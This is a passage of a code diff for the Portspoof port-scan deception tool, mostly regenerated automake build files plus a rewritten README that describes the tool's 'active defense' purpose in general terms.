END { for (i in files) print i; }'`; \
|
||||
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||
mkid -fID $$unique
|
||||
tags: TAGS
|
||||
|
||||
TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
|
||||
$(TAGS_FILES) $(LISP)
|
||||
tags=; \
|
||||
set x; \
|
||||
here=`pwd`; \
|
||||
if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \
|
||||
include_option=--etags-include; \
|
||||
@ -294,46 +332,50 @@ TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
|
||||
list='$(SUBDIRS)'; for subdir in $$list; do \
|
||||
if test "$$subdir" = .; then :; else \
|
||||
test ! -f $$subdir/TAGS || \
|
||||
tags="$$tags $$include_option=$$here/$$subdir/TAGS"; \
|
||||
set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \
|
||||
fi; \
|
||||
done; \
|
||||
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
|
||||
unique=`for i in $$list; do \
|
||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||
done | \
|
||||
$(AWK) ' { files[$$0] = 1; } \
|
||||
END { for (i in files) print i; }'`; \
|
||||
if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
|
||||
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||
shift; \
|
||||
if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \
|
||||
test -n "$$unique" || unique=$$empty_fix; \
|
||||
if test $$# -gt 0; then \
|
||||
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||
$$tags $$unique; \
|
||||
"$$@" $$unique; \
|
||||
else \
|
||||
$(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
|
||||
$$unique; \
|
||||
fi; \
|
||||
fi
|
||||
ctags: CTAGS
|
||||
CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \
|
||||
$(TAGS_FILES) $(LISP)
|
||||
tags=; \
|
||||
here=`pwd`; \
|
||||
list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
|
||||
unique=`for i in $$list; do \
|
||||
if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
|
||||
done | \
|
||||
$(AWK) ' { files[$$0] = 1; } \
|
||||
END { for (i in files) print i; }'`; \
|
||||
test -z "$(CTAGS_ARGS)$$tags$$unique" \
|
||||
$(AWK) '{ files[$$0] = 1; nonempty = 1; } \
|
||||
END { if (nonempty) { for (i in files) print i; }; }'`; \
|
||||
test -z "$(CTAGS_ARGS)$$unique" \
|
||||
|| $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
|
||||
$$tags $$unique
|
||||
$$unique
|
||||
|
||||
GTAGS:
|
||||
here=`$(am__cd) $(top_builddir) && pwd` \
|
||||
&& cd $(top_srcdir) \
|
||||
&& gtags -i $(GTAGS_ARGS) $$here
|
||||
&& $(am__cd) $(top_srcdir) \
|
||||
&& gtags -i $(GTAGS_ARGS) "$$here"
|
||||
|
||||
distclean-tags:
|
||||
-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
|
||||
|
||||
distdir: $(DISTFILES)
|
||||
$(am__remove_distdir)
|
||||
test -d $(distdir) || mkdir $(distdir)
|
||||
test -d "$(distdir)" || mkdir "$(distdir)"
|
||||
@srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
|
||||
topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \
|
||||
list='$(DISTFILES)'; \
|
||||
@ -349,38 +391,55 @@ distdir: $(DISTFILES)
|
||||
if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
|
||||
if test -d $$d/$$file; then \
|
||||
dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d "$(distdir)/$$file"; then \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
|
||||
if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
|
||||
cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \
|
||||
find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \
|
||||
fi; \
|
||||
cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \
|
||||
else \
|
||||
test -f $(distdir)/$$file \
|
||||
|| cp -p $$d/$$file $(distdir)/$$file \
|
||||
test -f "$(distdir)/$$file" \
|
||||
|| cp -p $$d/$$file "$(distdir)/$$file" \
|
||||
|| exit 1; \
|
||||
fi; \
|
||||
done
|
||||
list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
|
||||
@list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
|
||||
if test "$$subdir" = .; then :; else \
|
||||
test -d "$(distdir)/$$subdir" \
|
||||
|| $(MKDIR_P) "$(distdir)/$$subdir" \
|
||||
|| exit 1; \
|
||||
distdir=`$(am__cd) $(distdir) && pwd`; \
|
||||
top_distdir=`$(am__cd) $(top_distdir) && pwd`; \
|
||||
(cd $$subdir && \
|
||||
fi; \
|
||||
done
|
||||
@list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
|
||||
if test "$$subdir" = .; then :; else \
|
||||
dir1=$$subdir; dir2="$(distdir)/$$subdir"; \
|
||||
$(am__relativize); \
|
||||
new_distdir=$$reldir; \
|
||||
dir1=$$subdir; dir2="$(top_distdir)"; \
|
||||
$(am__relativize); \
|
||||
new_top_distdir=$$reldir; \
|
||||
echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \
|
||||
echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \
|
||||
($(am__cd) $$subdir && \
|
||||
$(MAKE) $(AM_MAKEFLAGS) \
|
||||
top_distdir="$$top_distdir" \
|
||||
distdir="$$distdir/$$subdir" \
|
||||
top_distdir="$$new_top_distdir" \
|
||||
distdir="$$new_distdir" \
|
||||
am__remove_distdir=: \
|
||||
am__skip_length_check=: \
|
||||
am__skip_mode_fix=: \
|
||||
distdir) \
|
||||
|| exit 1; \
|
||||
fi; \
|
||||
done
|
||||
-find $(distdir) -type d ! -perm -755 -exec chmod u+rwx,go+rx {} \; -o \
|
||||
-test -n "$(am__skip_mode_fix)" \
|
||||
|| find "$(distdir)" -type d ! -perm -755 \
|
||||
-exec chmod u+rwx,go+rx {} \; -o \
|
||||
! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
|
||||
! -type d ! -perm -400 -exec chmod a+r {} \; -o \
|
||||
! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \
|
||||
|| chmod -R a+r $(distdir)
|
||||
|| chmod -R a+r "$(distdir)"
|
||||
dist-gzip: distdir
|
||||
tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz
|
||||
$(am__remove_distdir)
|
||||
@ -389,6 +448,14 @@ dist-bzip2: distdir
|
||||
tardir=$(distdir) && $(am__tar) | bzip2 -9 -c >$(distdir).tar.bz2
|
||||
$(am__remove_distdir)
|
||||
|
||||
dist-lzma: distdir
|
||||
tardir=$(distdir) && $(am__tar) | lzma -9 -c >$(distdir).tar.lzma
|
||||
$(am__remove_distdir)
|
||||
|
||||
dist-xz: distdir
|
||||
tardir=$(distdir) && $(am__tar) | xz -c >$(distdir).tar.xz
|
||||
$(am__remove_distdir)
|
||||
|
||||
dist-tarZ: distdir
|
||||
tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z
|
||||
$(am__remove_distdir)
|
||||
@ -412,13 +479,17 @@ dist dist-all: distdir
|
||||
distcheck: dist
|
||||
case '$(DIST_ARCHIVES)' in \
|
||||
*.tar.gz*) \
|
||||
GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\
|
||||
GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\
|
||||
*.tar.bz2*) \
|
||||
bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\
|
||||
bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\
|
||||
*.tar.lzma*) \
|
||||
lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\
|
||||
*.tar.xz*) \
|
||||
xz -dc $(distdir).tar.xz | $(am__untar) ;;\
|
||||
*.tar.Z*) \
|
||||
uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
|
||||
*.shar.gz*) \
|
||||
GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
|
||||
GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\
|
||||
*.zip*) \
|
||||
unzip $(distdir).zip ;;\
|
||||
esac
|
||||
@ -426,9 +497,11 @@ distcheck: dist
|
||||
mkdir $(distdir)/_build
|
||||
mkdir $(distdir)/_inst
|
||||
chmod a-w $(distdir)
|
||||
test -d $(distdir)/_build || exit 0; \
|
||||
dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \
|
||||
&& dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \
|
||||
&& cd $(distdir)/_build \
|
||||
&& am__cwd=`pwd` \
|
||||
&& $(am__cd) $(distdir)/_build \
|
||||
&& ../configure --srcdir=.. --prefix="$$dc_install_base" \
|
||||
$(DISTCHECK_CONFIGURE_FLAGS) \
|
||||
&& $(MAKE) $(AM_MAKEFLAGS) \
|
||||
@ -450,13 +523,15 @@ distcheck: dist
|
||||
&& rm -rf "$$dc_destdir" \
|
||||
&& $(MAKE) $(AM_MAKEFLAGS) dist \
|
||||
&& rm -rf $(DIST_ARCHIVES) \
|
||||
&& $(MAKE) $(AM_MAKEFLAGS) distcleancheck
|
||||
&& $(MAKE) $(AM_MAKEFLAGS) distcleancheck \
|
||||
&& cd "$$am__cwd" \
|
||||
|| exit 1
|
||||
$(am__remove_distdir)
|
||||
@(echo "$(distdir) archives ready for distribution: "; \
|
||||
list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \
|
||||
sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x'
|
||||
distuninstallcheck:
|
||||
@cd $(distuninstallcheck_dir) \
|
||||
@$(am__cd) '$(distuninstallcheck_dir)' \
|
||||
&& test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \
|
||||
|| { echo "ERROR: files left after uninstall:" ; \
|
||||
if test -n "$(DESTDIR)"; then \
|
||||
@ -498,6 +573,7 @@ clean-generic:
|
||||
|
||||
distclean-generic:
|
||||
-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
|
||||
-test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
|
||||
|
||||
maintainer-clean-generic:
|
||||
@echo "This command is intended for maintainers to use"
|
||||
@ -518,6 +594,8 @@ dvi-am:
|
||||
|
||||
html: html-recursive
|
||||
|
||||
html-am:
|
||||
|
||||
info: info-recursive
|
||||
|
||||
info-am:
|
||||
@ -526,18 +604,28 @@ install-data-am:
|
||||
|
||||
install-dvi: install-dvi-recursive
|
||||
|
||||
install-dvi-am:
|
||||
|
||||
install-exec-am:
|
||||
|
||||
install-html: install-html-recursive
|
||||
|
||||
install-html-am:
|
||||
|
||||
install-info: install-info-recursive
|
||||
|
||||
install-info-am:
|
||||
|
||||
install-man:
|
||||
|
||||
install-pdf: install-pdf-recursive
|
||||
|
||||
install-pdf-am:
|
||||
|
||||
install-ps: install-ps-recursive
|
||||
|
||||
install-ps-am:
|
||||
|
||||
installcheck-am:
|
||||
|
||||
maintainer-clean: maintainer-clean-recursive
|
||||
@ -560,14 +648,14 @@ ps-am:
|
||||
|
||||
uninstall-am:
|
||||
|
||||
.MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) install-am \
|
||||
install-strip
|
||||
.MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) ctags-recursive \
|
||||
install-am install-strip tags-recursive
|
||||
|
||||
.PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \
|
||||
all all-am am--refresh check check-am clean clean-generic \
|
||||
ctags ctags-recursive dist dist-all dist-bzip2 dist-gzip \
|
||||
dist-shar dist-tarZ dist-zip distcheck distclean \
|
||||
distclean-generic distclean-local distclean-tags \
|
||||
dist-lzma dist-shar dist-tarZ dist-xz dist-zip distcheck \
|
||||
distclean distclean-generic distclean-local distclean-tags \
|
||||
distcleancheck distdir distuninstallcheck dvi dvi-am html \
|
||||
html-am info info-am install install-am install-data \
|
||||
install-data-am install-dvi install-dvi-am install-exec \
|
||||
@ -581,6 +669,7 @@ uninstall-am:
|
||||
|
||||
distclean-local:
|
||||
rm -rf autom4te.cache
|
||||
|
||||
# Tell versions [3.59,3.63) of GNU make to not export all variables.
|
||||
# Otherwise a system limit (for SysV at least) may be exceeded.
|
||||
.NOEXPORT:
|
||||
|
2
NEWS
2
NEWS
@ -1 +1 @@
|
||||
See the ChangeLog file for the latest news.
|
||||
NEWS
|
27
README
Normal file → Executable file
27
README
Normal file → Executable file
@ -2,19 +2,31 @@ Portspoof software overview
|
||||
|
||||
Short description:
|
||||
|
||||
The portspoof program is designed to enhance OS security through emulation of legitimate service signatures on otherwise closed ports.
|
||||
*Art of annoyance*
|
||||
|
||||
The Portspoof program primary goal is to enhance OS security through a new service emulation technique that renders all standard port scanning results useless.
|
||||
|
||||
*Art of Active (Offensive) Defense*
|
||||
|
||||
Portspoof can be used as an 'Exploitation Framework Frontend', that turns your system into responsive and aggressive machine. In practice this usually means exploiting your attackers' tools and exploits. This approach is purely based on Active (Offensive) Defense concepts.
|
||||
|
||||
|
||||
It is meant to be a lightweight, fast, portable and secure addition to the any firewall system or security infrastructure.
|
||||
The general goal of the program is to make the port scanning software (Nmap/Unicornscan/etc) process slow and output very difficult to interpret,
|
||||
thus making the attack reconnaissance phase a challenging and bothersome task.
|
||||
|
||||
General benefits of using this software are:
|
||||
- Protection against well known port scanners (all scanning results are chaotic and difficult to interpret)
|
||||
- Possibility to use your current firewall rules to decide for which hosts "port spoofing" applies
|
||||
- Port scanning detection functionality
|
||||
The most important features that Portspoof has:
|
||||
|
||||
http://portspoof.duszynski.eu
|
||||
- Portspoof is a userland software and does not require root privileges !
|
||||
- Binds to just one tcp port per a running instance
|
||||
- Easily customizable through iptables rules
|
||||
- Marginal CPU/memory usage (multithreaded)
|
||||
- More than 8000 dynamic service signatures are supported !
|
||||
- Will help you to automate your Active Defense attacks against your attackers tools and scripts
|
||||
|
||||
Author: Piotr Duszynski (piotr@duszynski.eu) # Follow me at @drk1wi
|
||||
http://portspoof.org/
|
||||
|
||||
Author: Piotr Duszynski (piotr [at] duszynski.eu) #
|
||||
|
||||
License
|
||||
|
||||
@ -28,7 +40,6 @@ Other important files
|
||||
|
||||
AUTHORS File with Author contact info
|
||||
Changelog What I have implemented
|
||||
TODO What I am planning to implement in the upcoming versions
|
||||
FAQ Bug reporting and frequently asked questions
|
||||
|
||||
|
||||
|
0
README.md
Normal file → Executable file
0
README.md
Normal file → Executable file
12
TODO
12
TODO
@ -1,12 +0,0 @@
|
||||
TODO ideas (To be implemented in the upcoming versions):
|
||||
|
||||
* Imeplement support for configuration file - with possibility to define different signature spoofing schemes
|
||||
* Improve reverse regex mechanism to support larger set of Nmap signatures
|
||||
* Improve coding style and implemented algorithms
|
||||
* Stable support for BSD, OSX and Windows OS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
216
aclocal.m4
vendored
216
aclocal.m4
vendored
@ -1,7 +1,7 @@
|
||||
# generated automatically by aclocal 1.10 -*- Autoconf -*-
|
||||
# generated automatically by aclocal 1.11.1 -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
|
||||
# 2005, 2006 Free Software Foundation, Inc.
|
||||
# 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
@ -11,12 +11,15 @@
|
||||
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
|
||||
# PARTICULAR PURPOSE.
|
||||
|
||||
m4_if(m4_PACKAGE_VERSION, [2.61],,
|
||||
[m4_fatal([this file was generated for autoconf 2.61.
|
||||
You have another version of autoconf. If you want to use that,
|
||||
you should regenerate the build system entirely.], [63])])
|
||||
m4_ifndef([AC_AUTOCONF_VERSION],
|
||||
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
|
||||
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.65],,
|
||||
[m4_warning([this file was generated for autoconf 2.65.
|
||||
You have another version of autoconf. It may work, but is not guaranteed to.
|
||||
If you have problems, you may need to regenerate the build system entirely.
|
||||
To do so, use the procedure documented by the package, typically `autoreconf'.])])
|
||||
|
||||
# Copyright (C) 2002, 2003, 2005, 2006 Free Software Foundation, Inc.
|
||||
# Copyright (C) 2002, 2003, 2005, 2006, 2007, 2008 Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
@ -28,10 +31,10 @@ you should regenerate the build system entirely.], [63])])
|
||||
# generated from the m4 files accompanying Automake X.Y.
|
||||
# (This private macro should not be called outside this file.)
|
||||
AC_DEFUN([AM_AUTOMAKE_VERSION],
|
||||
[am__api_version='1.10'
|
||||
[am__api_version='1.11'
|
||||
dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
|
||||
dnl require some minimum version. Point them to the right macro.
|
||||
m4_if([$1], [1.10], [],
|
||||
m4_if([$1], [1.11.1], [],
|
||||
[AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
|
||||
])
|
||||
|
||||
@ -45,10 +48,12 @@ m4_define([_AM_AUTOCONF_VERSION], [])
|
||||
# AM_SET_CURRENT_AUTOMAKE_VERSION
|
||||
# -------------------------------
|
||||
# Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
|
||||
# This function is AC_REQUIREd by AC_INIT_AUTOMAKE.
|
||||
# This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
|
||||
AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
|
||||
[AM_AUTOMAKE_VERSION([1.10])dnl
|
||||
_AM_AUTOCONF_VERSION(m4_PACKAGE_VERSION)])
|
||||
[AM_AUTOMAKE_VERSION([1.11.1])dnl
|
||||
m4_ifndef([AC_AUTOCONF_VERSION],
|
||||
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
|
||||
_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
|
||||
|
||||
# AM_AUX_DIR_EXPAND -*- Autoconf -*-
|
||||
|
||||
@ -105,14 +110,14 @@ am_aux_dir=`cd $ac_aux_dir && pwd`
|
||||
|
||||
# AM_CONDITIONAL -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1997, 2000, 2001, 2003, 2004, 2005, 2006
|
||||
# Copyright (C) 1997, 2000, 2001, 2003, 2004, 2005, 2006, 2008
|
||||
# Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 8
|
||||
# serial 9
|
||||
|
||||
# AM_CONDITIONAL(NAME, SHELL-CONDITION)
|
||||
# -------------------------------------
|
||||
@ -125,6 +130,7 @@ AC_SUBST([$1_TRUE])dnl
|
||||
AC_SUBST([$1_FALSE])dnl
|
||||
_AM_SUBST_NOTMAKE([$1_TRUE])dnl
|
||||
_AM_SUBST_NOTMAKE([$1_FALSE])dnl
|
||||
m4_define([_AM_COND_VALUE_$1], [$2])dnl
|
||||
if $2; then
|
||||
$1_TRUE=
|
||||
$1_FALSE='#'
|
||||
@ -138,14 +144,14 @@ AC_CONFIG_COMMANDS_PRE(
|
||||
Usually this means the macro was only invoked conditionally.]])
|
||||
fi])])
|
||||
|
||||
# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006
|
||||
# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2009
|
||||
# Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 9
|
||||
# serial 10
|
||||
|
||||
# There are a few dirty hacks below to avoid letting `AC_PROG_CC' be
|
||||
# written in clear, in which case automake, when reading aclocal.m4,
|
||||
@ -202,6 +208,16 @@ AC_CACHE_CHECK([dependency style of $depcc],
|
||||
if test "$am_compiler_list" = ""; then
|
||||
am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp`
|
||||
fi
|
||||
am__universal=false
|
||||
m4_case([$1], [CC],
|
||||
[case " $depcc " in #(
|
||||
*\ -arch\ *\ -arch\ *) am__universal=true ;;
|
||||
esac],
|
||||
[CXX],
|
||||
[case " $depcc " in #(
|
||||
*\ -arch\ *\ -arch\ *) am__universal=true ;;
|
||||
esac])
|
||||
|
||||
for depmode in $am_compiler_list; do
|
||||
# Setup a source with many dependencies, because some compilers
|
||||
# like to wrap large dependency lists on column 80 (with \), and
|
||||
@ -219,7 +235,17 @@ AC_CACHE_CHECK([dependency style of $depcc],
|
||||
done
|
||||
echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf
|
||||
|
||||
# We check with `-c' and `-o' for the sake of the "dashmstdout"
|
||||
# mode. It turns out that the SunPro C++ compiler does not properly
|
||||
# handle `-M -o', and we need to detect this. Also, some Intel
|
||||
# versions had trouble with output in subdirs
|
||||
am__obj=sub/conftest.${OBJEXT-o}
|
||||
am__minus_obj="-o $am__obj"
|
||||
case $depmode in
|
||||
gcc)
|
||||
# This depmode causes a compiler race in universal mode.
|
||||
test "$am__universal" = false || continue
|
||||
;;
|
||||
nosideeffect)
|
||||
# after this tag, mechanisms are not by side-effect, so they'll
|
||||
# only be used when explicitly requested
|
||||
@ -229,19 +255,23 @@ AC_CACHE_CHECK([dependency style of $depcc],
|
||||
break
|
||||
fi
|
||||
;;
|
||||
msvisualcpp | msvcmsys)
|
||||
# This compiler won't grok `-c -o', but also, the minuso test has
|
||||
# not run yet. These depmodes are late enough in the game, and
|
||||
# so weak that their functioning should not be impacted.
|
||||
am__obj=conftest.${OBJEXT-o}
|
||||
am__minus_obj=
|
||||
;;
|
||||
none) break ;;
|
||||
esac
|
||||
# We check with `-c' and `-o' for the sake of the "dashmstdout"
|
||||
# mode. It turns out that the SunPro C++ compiler does not properly
|
||||
# handle `-M -o', and we need to detect this.
|
||||
if depmode=$depmode \
|
||||
source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \
|
||||
source=sub/conftest.c object=$am__obj \
|
||||
depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \
|
||||
$SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \
|
||||
$SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \
|
||||
>/dev/null 2>conftest.err &&
|
||||
grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 &&
|
||||
grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 &&
|
||||
grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 &&
|
||||
grep $am__obj sub/conftest.Po > /dev/null 2>&1 &&
|
||||
${MAKE-make} -s -f confmf > /dev/null 2>&1; then
|
||||
# icc doesn't choke on unknown options, it will just issue warnings
|
||||
# or remarks (even with -Werror). So we grep stderr for any message
|
||||
@ -298,19 +328,29 @@ _AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl
|
||||
|
||||
# Generate code to set up dependency tracking. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005
|
||||
# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2008
|
||||
# Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
#serial 3
|
||||
#serial 5
|
||||
|
||||
# _AM_OUTPUT_DEPENDENCY_COMMANDS
|
||||
# ------------------------------
|
||||
AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
|
||||
[for mf in $CONFIG_FILES; do
|
||||
[{
|
||||
# Autoconf 2.62 quotes --file arguments for eval, but not when files
|
||||
# are listed without --file. Let's play safe and only enable the eval
|
||||
# if we detect the quoting.
|
||||
case $CONFIG_FILES in
|
||||
*\'*) eval set x "$CONFIG_FILES" ;;
|
||||
*) set x $CONFIG_FILES ;;
|
||||
esac
|
||||
shift
|
||||
for mf
|
||||
do
|
||||
# Strip MF so we end up with the name of the file.
|
||||
mf=`echo "$mf" | sed -e 's/:.*$//'`
|
||||
# Check whether this is an Automake generated Makefile or not.
|
||||
@ -320,7 +360,7 @@ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
|
||||
# each Makefile.in and add a new line on top of each file to say so.
|
||||
# Grep'ing the whole file is not good either: AIX grep has a line
|
||||
# limit of 2048, but all sed's we know have understand at least 4000.
|
||||
if sed 10q "$mf" | grep '^#.*generated by automake' > /dev/null 2>&1; then
|
||||
if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then
|
||||
dirpart=`AS_DIRNAME("$mf")`
|
||||
else
|
||||
continue
|
||||
@ -349,6 +389,7 @@ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS],
|
||||
echo '# dummy' > "$dirpart/$file"
|
||||
done
|
||||
done
|
||||
}
|
||||
])# _AM_OUTPUT_DEPENDENCY_COMMANDS
|
||||
|
||||
|
||||
@ -368,13 +409,13 @@ AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS],
|
||||
# Do all the work for Automake. -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
|
||||
# 2005, 2006 Free Software Foundation, Inc.
|
||||
# 2005, 2006, 2008, 2009 Free Software Foundation, Inc.
|
||||
#
|
||||
# This file is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy and/or distribute it,
|
||||
# with or without modifications, as long as this notice is preserved.
|
||||
|
||||
# serial 12
|
||||
# serial 16
|
||||
|
||||
# This macro actually does too much. Some checks are only needed if
|
||||
# your package does certain things. But this isn't really a big deal.
|
||||
@ -391,7 +432,7 @@ AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS],
|
||||
# arguments mandatory, and then we can depend on a new Autoconf
|
||||
# release and drop the old call support.
|
||||
AC_DEFUN([AM_INIT_AUTOMAKE],
|
||||
[AC_PREREQ([2.60])dnl
|
||||
[AC_PREREQ([2.62])dnl
|
||||
dnl Autoconf wants to disallow AM_ names. We explicitly allow
|
||||
dnl the ones we care about.
|
||||
m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl
|
||||
@ -442,8 +483,8 @@ AM_MISSING_PROG(AUTOCONF, autoconf)
|
||||
AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version})
|
||||
AM_MISSING_PROG(AUTOHEADER, autoheader)
|
||||
AM_MISSING_PROG(MAKEINFO, makeinfo)
|
||||
AM_PROG_INSTALL_SH
|
||||
AM_PROG_INSTALL_STRIP
|
||||
AC_REQUIRE([AM_PROG_INSTALL_SH])dnl
|
||||
AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl
|
||||
AC_REQUIRE([AM_PROG_MKDIR_P])dnl
|
||||
# We need awk for the "check" target. The system "awk" is bad on
|
||||
# some platforms.
|
||||
@ -467,8 +508,21 @@ AC_PROVIDE_IFELSE([AC_PROG_OBJC],
|
||||
[define([AC_PROG_OBJC],
|
||||
defn([AC_PROG_OBJC])[_AM_DEPENDENCIES(OBJC)])])dnl
|
||||
])
|
||||
_AM_IF_OPTION([silent-rules], [AC_REQUIRE([AM_SILENT_RULES])])dnl
|
||||
dnl The `parallel-tests' driver may need to know about EXEEXT, so add the
|
||||
dnl `am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This macro
|
||||
dnl is hooked onto _AC_COMPILER_EXEEXT early, see below.
|
||||
AC_CONFIG_COMMANDS_PRE(dnl
|
||||
[m4_provide_if([_AM_COMPILER_EXEEXT],
|
||||
[AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl
|
||||
])
|
||||
|
||||
